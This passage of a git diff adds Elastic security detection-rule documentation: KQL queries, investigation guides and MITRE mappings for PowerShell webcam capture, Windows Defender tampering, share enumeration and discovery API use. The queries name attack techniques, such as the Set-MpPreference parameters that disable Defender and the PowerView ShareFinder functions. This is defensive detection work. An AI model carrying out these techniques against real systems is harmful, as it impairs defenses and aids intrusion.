(e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and + powershell.file.script_block_text : ( + "NewFrameEventHandler" or + "VideoCaptureDevice" or + "DirectX.Capture.Filters" or + "VideoCompressors" or + "Start-WebcamRecorder" or + ( + ("capCreateCaptureWindowA" or + "capCreateCaptureWindow" or + "capGetDriverDescription") and + ("avicap32.dll" or "avicap32") + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Video Capture +** ID: T1125 +** Reference URL: https://attack.mitre.org/techniques/T1125/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-script-with-windows-defender-tampering-capabilities.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-script-with-windows-defender-tampering-capabilities.asciidoc new file mode 100644 index 0000000000..79d3e8f77f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-script-with-windows-defender-tampering-capabilities.asciidoc @@ -0,0 +1,212 @@ +[[prebuilt-rule-8-19-34-powershell-script-with-windows-defender-tampering-capabilities]] +=== PowerShell Script with Windows Defender Tampering Capabilities + +Detects PowerShell scripts that uses Set-MpPreference with parameters that disable or weaken Defender. Attackers tamper with antivirus settings to reduce detection and enable follow-on payload execution. + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-windows.powershell* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: PowerShell Logs +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Custom Query (KQL) +* Platform: Windows + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This guide was created by humans with the assistance of generative AI. While its contents have been manually curated to include the most valuable information, always validate assumptions and adjust procedures to match your internal runbooks and incident triage and response policies. + + +*Investigating PowerShell Script with Windows Defender Tampering Capabilities* + + +This alert highlights PowerShell script block activity that attempts to change Windows Defender preferences in ways that can reduce host protections. These changes are frequently used to create a window for follow-on execution (for example, staging payloads, running tools, or maintaining access with reduced scanning and response). + +Triage should focus on (1) what protections were targeted and how, (2) who initiated the change and on which host(s), (3) whether the change took effect and persisted, and (4) whether there is surrounding activity that suggests initial access or follow-on malicious actions. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Review the script block content and determine the intended Defender impact: + - Inspect `powershell.file.script_block_text` and enumerate each `Set-MpPreference` parameter present. + - Capture whether the script is disabling protections (for example, real-time monitoring, script scanning, network file scanning) or changing default threat actions (low/moderate/high) to more permissive outcomes. + - Note whether the script changes multiple settings in one execution, repeats the changes, or includes additional logic that suggests deliberate defense impairment rather than a single configuration adjustment. + +- Reconstruct full script content when it is split across multiple events: + - If `powershell.total` is greater than 1, pivot on `powershell.file.script_block_id` and order fragments by `powershell.sequence` to rebuild the full script. + - Ensure you capture all fragments for the same `powershell.file.script_block_id` on the same `host.id` and `user.id` near the alert time; missing fragments can hide follow-on behavior embedded in later chunks. + +- Establish scope across hosts and accounts: + - Use `@timestamp`, `host.name` / `host.id`, and `user.name` / `user.domain` / `user.id` to determine whether the activity is isolated or distributed. + - Look for the same user context making similar changes across multiple hosts in a short time window (suggesting automation or compromised credentials). + - Look for multiple distinct user contexts making similar changes on the same host (suggesting lateral movement or multiple access paths). + +- Determine the execution and origin context: + - If `file.path` or `file.name` is populated, treat the activity as file-backed scripting and capture the location for scoping (where else this script exists, who can write to it, and when it was last introduced). + - If the file fields are not populated, treat the activity as potentially interactive or dynamically generated content and expand the search for adjacent script blocks from the same `user.id` on the same `host.id` around `@timestamp` to identify staging, execution flow, or repeated attempts. + +- Validate whether Defender settings were actually changed and whether the change persisted: + - Using available endpoint security telemetry and configuration auditing, validate whether the targeted preferences were applied on the affected host(s) and whether they remained in the weakened state after the alert time. + - Compare against your approved baseline for Defender settings and identify deviations that would materially reduce protection coverage. + +- Correlate with adjacent activity to identify initial access and follow-on execution: + - Correlate by `host.id` and time to nearby process activity to identify the PowerShell host process and its launching context (interactive use vs scheduled/automated execution vs another process initiating PowerShell). + - Review file and network telemetry around the same time for indicators of payload staging or execution (new files written, unusual outbound connections, or repeated attempts after the change). + - Check for repeated Defender preference modifications over time on the same host (suggesting persistent tampering) and for other suspicious activity tied to the same `user.id`. + + +*False positive analysis* + + +Legitimate activity can modify Defender preferences, but it should be explainable, consistent, and controlled. + +- Common benign drivers: + - Approved endpoint management or administrative maintenance that adjusts scanning behavior for performance or operational compatibility. + - Controlled troubleshooting where settings are temporarily changed and later restored. + +- Validation questions to reduce uncertainty: + - Does `user.id` map to an expected administrative or management identity for this host population? + - Is the activity aligned with known maintenance windows, change records, and documented procedures? + - Is `file.path` (when present) consistent with a known, maintained script location, and does the script content align with an approved baseline? + +If the activity is benign, document the owner, expected scope (hosts/users), expected recurrence, and the intended steady-state protection posture. + + +*Response and remediation* + + +If the activity is unauthorized or suspicious, treat it as a defense evasion attempt with potential follow-on actions. + +- Contain and preserve evidence: + - Prioritize affected endpoints identified by `host.id` / `host.name` and preserve relevant evidence, including the full reconstructed script from `powershell.file.script_block_id` and `powershell.file.script_block_text`. + - Capture the initiating identity context (`user.name`, `user.domain`, `user.id`) for incident scoping and credential review. + +- Restore protections and eliminate the change source: + - Restore Windows Defender preferences to the approved baseline using authorized operational processes and verify protections are active. + - If `file.path` is present, identify the responsible script and remove or disable unauthorized automation that applies the changes. + - If the activity appears user-driven or interactive, investigate how the user obtained execution capability on the host and address the root cause. + +- Address potential account compromise and lateral movement: + - Review recent activity associated with the initiating account and affected hosts for signs of credential misuse, unexpected access patterns, or follow-on execution. + - Apply appropriate credential remediation for impacted identities and review privileged access assignments relevant to the affected endpoints. + +- Scope and monitor: + - Hunt for the same Defender-tampering parameters within `powershell.file.script_block_text` across other hosts and users to identify additional impacted systems. + - Continue monitoring for recurrence of similar preference changes tied to the same `user.id`, as repeated tampering may indicate persistence or an active intrusion. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category: "process" and host.os.type:windows and +( + powershell.file.script_block_text: "Set-MpPreference" and + powershell.file.script_block_text: ( + DisableArchiveScanning or DisableBehaviorMonitoring or + DisableIntrusionPreventionSystem or DisableIOAVProtection or + DisableRemovableDriveScanning or DisableBlockAtFirstSeen or + DisableScanningMappedNetworkDrivesForFullScan or + DisableScanningNetworkFiles or DisableScriptScanning or + DisableRealtimeMonitoring or LowThreatDefaultAction or + ModerateThreatDefaultAction or HighThreatDefaultAction + ) +) and +not powershell.file.script_block_text : ( + ("cmdletization" and "cdxml-Help.xml") or + ("function Set-MpPreference" and "Microsoft.PowerShell.Cmdletization.GeneratedTypes.MpPreference.SubmitSamplesConsentType") +) and +not file.directory : "C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection\SenseCM" and +not user.id : "S-1-5-18" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-share-enumeration-script.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-share-enumeration-script.asciidoc new file mode 100644 index 0000000000..f9bbe6a288 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-share-enumeration-script.asciidoc @@ -0,0 +1,178 @@ +[[prebuilt-rule-8-19-34-powershell-share-enumeration-script]] +=== PowerShell Share Enumeration Script + +Detects PowerShell scripts that use ShareFinder functions (Invoke-ShareFinder/Invoke-ShareFinderThreaded) or Windows share enumeration APIs (shi1_netname/shi1_remark with NetShareEnum/NetApiBufferFree). Attackers use share enumeration to map accessible network shares for collection, lateral movement, or ransomware targeting. + +*Rule type*: query + +*Rule indices*: + +* logs-windows.powershell* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.advintel.io/post/hunting-for-corporate-insurance-policies-indicators-of-ransom-exfiltrations +* https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/ +* https://github.com/atc-project/atc-data/blob/master/docs/Logging_Policies/LP_0109_windows_powershell_script_block_log.md + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide +* Data Source: PowerShell Logs +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Windows + +*Version*: 117 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating PowerShell Share Enumeration Script* + + + +*Possible investigation steps* + + +- Does the reconstructed script block show active share enumeration or only helper code loading? + - Why: PowerView-style modules can define functions before invocation, so a function name alone is weaker than target selection, loops, output handling, or access checks. + - Focus: reconstruct the script with `powershell.file.script_block_id` + `powershell.sequence` + `powershell.total` on the same `host.id`, then inspect `powershell.file.script_block_text` for ShareFinder calls, NetShareEnum wrappers, and share result fields such as "shi1_netname" or "shi1_remark". !{investigate{"description":"","label":"Script block fragments for the same script","providers":[[{"excluded":false,"field":"powershell.file.script_block_id","queryType":"phrase","value":"{{powershell.file.script_block_id}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when reconstruction shows active enumeration, target lists, loops, share output, or access testing; lower concern when it only defines helper code and no later invocation appears. Missing fragments keep intent unresolved, not benign. + +- Can the PowerShell launch context be recovered? + - Why: script block events preserve code; command line and parentage require a matching process event. + - Focus: when endpoint process telemetry exists, recover the matching process via `host.id` + `process.pid` before using `process.*` or `process.parent.*`; review `process.command_line`, `process.parent.executable`, and session type. !{investigate{"description":"","label":"Process events for the PowerShell instance","providers":[[{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: anchor returned process starts to `@timestamp`; empty, multiple, or distant PID matches keep launch context unresolved. + - Implication: escalate when the launcher is a document, script host, remote session, scheduled task, or user-writable path; lower concern when launcher, arguments, and session type match the same script path, target scope, and user/host anchors for a recurring inventory or storage-audit job. If endpoint process telemetry is missing, continue with script content, source path, user/host anchors, and related-alert scope instead of closing. + +- Does the script widen discovery with broad targets, threading, or access checks? + - Focus: reconstructed `powershell.file.script_block_text` for threading, host/domain lists, access-check options, ADMIN$ testing, ping suppression, delay/jitter, credential objects, or loops over many hosts or shares. + - Implication: escalate when the script uses threading, access checks, alternate credentials, broad domain or host-list discovery, or ADMIN$ testing; lower concern when the target set is tightly bounded to one recognized inventory, access-review, or storage-audit task. + +- Are source or output artifacts risky? + - Focus: source path when present, fileless execution, output redirection/export, target/share arrays or excluded-share logic, and same-host/user file events for surrounding output or staging artifacts. !{investigate{"description":"","label":"Same host and user file events","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when execution is fileless or sourced from temp, downloads, mounted shares, or user-writable paths; also escalate when the script writes reusable share results, prioritizes ADMIN$ or accessible shares, or builds target lists for collection or ransomware staging. Lower concern only when a stable admin repository path, transient output, script content, and user/host anchors all match one bounded recurring workflow. Path alone does not clear the behavior. + +- Do the user and host anchors fit the expected administrative scope? + - Focus: user identity, host identity, reconstructed target scope, and recovered launch context. + - Implication: escalate when a non-admin user, unusual service account, workstation, or unexpected host performs broad share discovery; lower concern when the same user and host anchors match the bounded management cohort, script path, and target set shown by local evidence. + +- If local findings stay suspicious or unresolved, does the same share-discovery pattern change scope? + - Focus: related alerts for `user.id` carrying the same ShareFinder/API-wrapper, access-check, or target-list pattern, plus same-host/user network events for SMB or file-server activity when script content suggests access testing or follow-on collection. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} !{investigate{"description":"","label":"Same host and user network events","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if user scope is inconclusive, check related alerts for the same `host.id` before widening beyond this host. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: network events need destination or share corroboration before they prove access or collection; missing network telemetry is unresolved, not benign. + - Implication: broaden when the same script pattern, operator account, or host appears in unrelated share-discovery alerts; keep the case local when it stays confined to one `host.id`, one `user.id`, one script/source pattern, and one bounded target set. + +- Escalate when reconstructed content, discovery breadth, access-check markers, source/output pattern, recovered launcher context, or user/host scope show unauthorized share discovery; close only when those categories bind to one recognized workflow with no contradictory evidence; preserve and escalate when evidence is mixed or incomplete. + + +*False positive analysis* + + +- PowerView's Invoke-ShareFinder and raw P/Invoke NetShareEnum wrappers with shi1_netname/shi1_remark are offensive tooling patterns with near-zero legitimate administrative use. Legitimate share inventory uses built-in cmdlets (Get-SmbShare, net share) or management platforms, not these APIs. Close as benign true positive only for confirmed authorized red-team, penetration testing, or security validation where reconstructed script content, `user.id`, `host.id`, test-engagement scope, and recovered launch context all align. Do not close on an IT-administration claim when the script uses these specific offensive patterns. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and record the script owner, source path or recurring fileless content, expected `user.id`, expected `host.id`, target scope, and recovered launch context when available. Create a narrow exception only after the local evidence is confirmed and prior alerts, when present, show the same stable workflow. +- If suspicious but unconfirmed, preserve the reconstructed `powershell.file.script_block_text`, all fragments linked by `powershell.file.script_block_id`, alert process PID, recovered process record when available, source path, output or target/share list, `user.id`, and `host.id` before containment. Apply reversible containment first: heightened monitoring, temporary SMB restrictions from the affected host to named servers/shares, or temporary restrictions for the implicated account when access testing or credential misuse is indicated. Escalate to host isolation or stronger credential actions only if access testing, staging, or credential misuse is confirmed and host criticality permits it. +- If confirmed malicious, isolate the host or restrict the account only after preserving the reconstructed script, recovered launch context, source/output artifacts, and target/share list. Review the named servers, shares, accounts, and related alerts for the same indicators before deleting scripts, killing processes, or resetting credentials; remove malicious scripts, scheduled tasks, or credential material only after scope is complete. +- Post-incident hardening: keep PowerShell script block logging enabled, restrict unsigned or user-writable PowerShell execution on management hosts where feasible, retain endpoint and file-server telemetry needed to confirm share access, and record the confirmed workflow or malicious server/share list for future triage. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and + powershell.file.script_block_text:( + "Invoke-ShareFinder" or + "Invoke-ShareFinderThreaded" or + ( + "shi1_netname" and + "shi1_remark" + ) or + ( + "NetShareEnum" and + "NetApiBufferFree" + ) + ) and not user.id : "S-1-5-18" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Network Share Discovery +** ID: T1135 +** Reference URL: https://attack.mitre.org/techniques/T1135/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Technique: +** Name: Native API +** ID: T1106 +** Reference URL: https://attack.mitre.org/techniques/T1106/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Network Shared Drive +** ID: T1039 +** Reference URL: https://attack.mitre.org/techniques/T1039/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-suspicious-discovery-related-windows-api-functions.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-suspicious-discovery-related-windows-api-functions.asciidoc new file mode 100644 index 0000000000..b4b0c46a03 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-suspicious-discovery-related-windows-api-functions.asciidoc @@ -0,0 +1,280 @@ +[[prebuilt-rule-8-19-34-powershell-suspicious-discovery-related-windows-api-functions]] +=== PowerShell Suspicious Discovery Related Windows API Functions + +Detects PowerShell scripts that references native Windows API functions commonly used for discovery of users, groups, shares, sessions, domain trusts, and service security. Attackers use these APIs for situational awareness and targeting prior to lateral movement or collection. + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-windows.powershell* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/BC-SECURITY/Empire/blob/9259e5106986847d2bb770c4289c0c0f1adf2344/data/module_source/situational_awareness/network/powerview.ps1#L21413 +* https://github.com/atc-project/atc-data/blob/master/docs/Logging_Policies/LP_0109_windows_powershell_script_block_log.md + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Discovery +* Tactic: Collection +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: PowerShell Logs +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Script-Based Execution +* Rule Type: Custom Query (KQL) +* Platform: Windows + +*Version*: 321 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This guide was created by humans with the assistance of generative AI. While its contents have been manually curated to include the most valuable information, always validate assumptions and adjust procedures to match your internal runbooks and incident triage and response policies. + + +*Investigating PowerShell Suspicious Discovery Related Windows API Functions* + + +This rule flags PowerShell script block content that references Windows API functions commonly used to enumerate users, groups, shares, sessions, domain trusts, and service security. These APIs are frequently accessed via native interop patterns (for example, runtime-compiled type definitions) and can be used to build an inventory of the environment before follow-on activity such as lateral movement or collection. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Establish context and expected behavior: + - Review `host.name`/`host.id` to understand where the activity occurred and whether the host is expected to perform administrative discovery. + - Review `user.name`, `user.domain`, and `user.id` to determine whether the executing identity aligns with expected administrative or automation activity for that host. + - Use `powershell.file.script_block_length` (when present) as a quick indicator of complexity; unusually large blocks may indicate embedded helper libraries or inline compiled source. + +- Review, reconstruct, and characterize the script content: + - Inspect `powershell.file.script_block_text` and identify which API function name(s) are present and what discovery objective they imply. + - If the script is fragmented, reconstruct it by grouping events on `powershell.file.script_block_id` and ordering by `powershell.sequence` until `powershell.total` is reached. Capture the complete reconstructed content for case notes. + - Look for indicators of native API invocation rather than standard cmdlets, such as embedded type definitions, interop attributes, or inline compiled source. This can increase confidence that the script was designed to directly call Windows APIs. + - Identify additional capabilities in the same script block (or neighboring fragments) that may indicate follow-on behavior, such as credential access, remote execution logic, output staging, or data access from remote resources. + +- Map API functions to likely discovery intent: + - Share and server discovery: `NetShareEnum`, `NetServerGetInfo`, `GetComputerNameEx`. + - User and group discovery: `NetUserEnum`, `NetUserGetInfo`, `NetGroupEnum`, `NetGroupGetInfo`, `NetGroupGetUsers`, `NetLocalGroupEnum`, `NetLocalGroupGetMembers`, `GetUserNameEx`, `NetUserModalsGet`. + - Session and workstation discovery: `NetSessionEnum`, `NetWkstaUserEnum`, `NetWkstaGetInfo`, `NetWkstaTransportEnum`, `WTSEnumerateSessionsEx`, `WTSQuerySessionInformation`, `LsaGetLogonSessionData`. + - Domain trust and site discovery: `DsEnumerateDomainTrusts`, `LsaEnumerateTrustedDomains`, `DsGetSiteName`. + - Service permission discovery: `QueryServiceObjectSecurity`. + - Job discovery: `NetScheduleJobEnum`. + +- Determine discovery scope and targets from the content: + - Extract any referenced hostnames, domain names, share names, or service names directly from `powershell.file.script_block_text` (when present) and record them as potential discovery targets. + - Look for indications of remote enumeration (for example, multiple target strings, iteration constructs, or repeated API calls with varying targets) versus single-host local discovery. + - Prioritize cases that include higher-impact reconnaissance (trust enumeration, session enumeration, logon session data, or service security descriptor queries), especially when the account or host context is unusual. + +- Validate script origin and execution source: + - If file context is present, review `file.path`, `file.directory`, and `file.name` to understand whether the script block originated from an on-disk script and whether that location aligns with approved tooling. + - Treat scripts originating from unexpected or user-writable locations, or scripts with unusual naming, as higher risk and scope for other related activity on the same host and by the same user. + +- Scope for related activity using alert-available pivots: + - Search for other script blocks with the same `powershell.file.script_block_id` to ensure no fragments are missed and to identify repeated execution. + - Search for additional hits of the same `file.path`/`file.name` across hosts to determine whether the script is broadly deployed or opportunistically introduced. + - Identify other occurrences of similar discovery content by pivoting on distinctive substrings within `powershell.file.script_block_text` (such as specific API function names) and the same `user.id` to detect a broader reconnaissance pattern. + +- Correlate with adjacent telemetry (as available in your environment): + - Process context: determine how PowerShell was started and whether the initiation method is consistent with expected activity for `user.name` on `host.name`. + - Authentication and remote access: look for logons or remote session activity involving the same `user.name` around the alert time, especially if the script content suggests remote enumeration of servers or sessions. + - Network and share access: review evidence of access to discovered targets (servers/shares) following the enumeration to identify potential collection from network shares. + - Persistence or privilege escalation follow-on: if service security or job enumeration is present, look for subsequent changes consistent with service or scheduled job manipulation. + + +*False positive analysis* + + +- Benign administrative discovery can occur during routine inventory, troubleshooting, or access validation, especially from dedicated administration hosts and by well-known administrative identities. +- False positives are more likely when the same script content appears regularly, is consistently associated with the same `file.path`/`file.name`, and is executed by expected `user.name` accounts on expected hosts. +- Prioritize as suspicious when the activity is new for the environment, originates from an unexpected script location, is executed by a non-administrative or unusual account, or appears across multiple hosts in a short period. + + +*Response and remediation* + + +- If the activity is confirmed or strongly suspected malicious: + - Contain the affected host and restrict the involved account to prevent further reconnaissance and follow-on actions. + - Preserve evidence from the alert, including the fully reconstructed `powershell.file.script_block_text`, `powershell.file.script_block_id`, and any extracted target identifiers, along with `host.id` and `user.id` for reliable correlation. + - Scope across the environment for additional executions using pivots on `user.id`, `host.id`, `file.path`/`file.name`, and distinctive content within `powershell.file.script_block_text`. + - Review the enumerated targets (hosts, shares, users/groups, trusts, services, sessions) for unauthorized access attempts and follow-on activity such as network share access, credential misuse, or lateral movement. + +- If the activity is determined to be legitimate but unexpected: + - Identify the script owner and document the business purpose, expected execution scope (hosts/users), and expected cadence. + - Reduce future noise by baselining approved scripts and execution contexts, and ensure logging and monitoring coverage remains sufficient to investigate future occurrences. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and + powershell.file.script_block_text : ( + NetShareEnum or + NetWkstaUserEnum or + NetSessionEnum or + NetLocalGroupEnum or + NetLocalGroupGetMembers or + DsGetSiteName or + DsEnumerateDomainTrusts or + WTSEnumerateSessionsEx or + WTSQuerySessionInformation or + LsaGetLogonSessionData or + QueryServiceObjectSecurity or + GetComputerNameEx or + NetWkstaGetInfo or + GetUserNameEx or + NetUserEnum or + NetUserGetInfo or + NetGroupEnum or + NetGroupGetInfo or + NetGroupGetUsers or + NetWkstaTransportEnum or + NetServerGetInfo or + LsaEnumerateTrustedDomains or + NetScheduleJobEnum or + NetUserModalsGet + ) and + not powershell.file.script_block_text : ( + ("DsGetSiteName" and ("DiscoverWindowsComputerProperties.ps1" and "param($SourceType, $SourceId, $ManagedEntityId, $ComputerIdentity)")) or + ("# Copyright: (c) 2018, Ansible Project" and "#Requires -Module Ansible.ModuleUtils.AddType" and "#AnsibleRequires -CSharpUtil Ansible.Basic") or + ("Ansible.Windows.Setup" and "Ansible.Windows.Setup" and "NativeMethods.NetWkstaGetInfo(null, 100, out netBuffer);") + ) and + not file.directory: "C:\Program Files (x86)\Automox\WDK\Win32\WinSession" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Service Discovery +** ID: T1007 +** Reference URL: https://attack.mitre.org/techniques/T1007/ +* Technique: +** Name: System Network Configuration Discovery +** ID: T1016 +** Reference URL: https://attack.mitre.org/techniques/T1016/ +* Technique: +** Name: System Owner/User Discovery +** ID: T1033 +** Reference URL: https://attack.mitre.org/techniques/T1033/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ +* Sub-technique: +** Name: Local Groups +** ID: T1069.001 +** Reference URL: https://attack.mitre.org/techniques/T1069/001/ +* Sub-technique: +** Name: Domain Groups +** ID: T1069.002 +** Reference URL: https://attack.mitre.org/techniques/T1069/002/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Local Account +** ID: T1087.001 +** Reference URL: https://attack.mitre.org/techniques/T1087/001/ +* Sub-technique: +** Name: Domain Account +** ID: T1087.002 +** Reference URL: https://attack.mitre.org/techniques/T1087/002/ +* Technique: +** Name: Network Share Discovery +** ID: T1135 +** Reference URL: https://attack.mitre.org/techniques/T1135/ +* Technique: +** Name: Password Policy Discovery +** ID: T1201 +** Reference URL: https://attack.mitre.org/techniques/T1201/ +* Technique: +** Name: Domain Trust Discovery +** ID: T1482 +** Reference URL: https://attack.mitre.org/techniques/T1482/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Technique: +** Name: Native API +** ID: T1106 +** Reference URL: 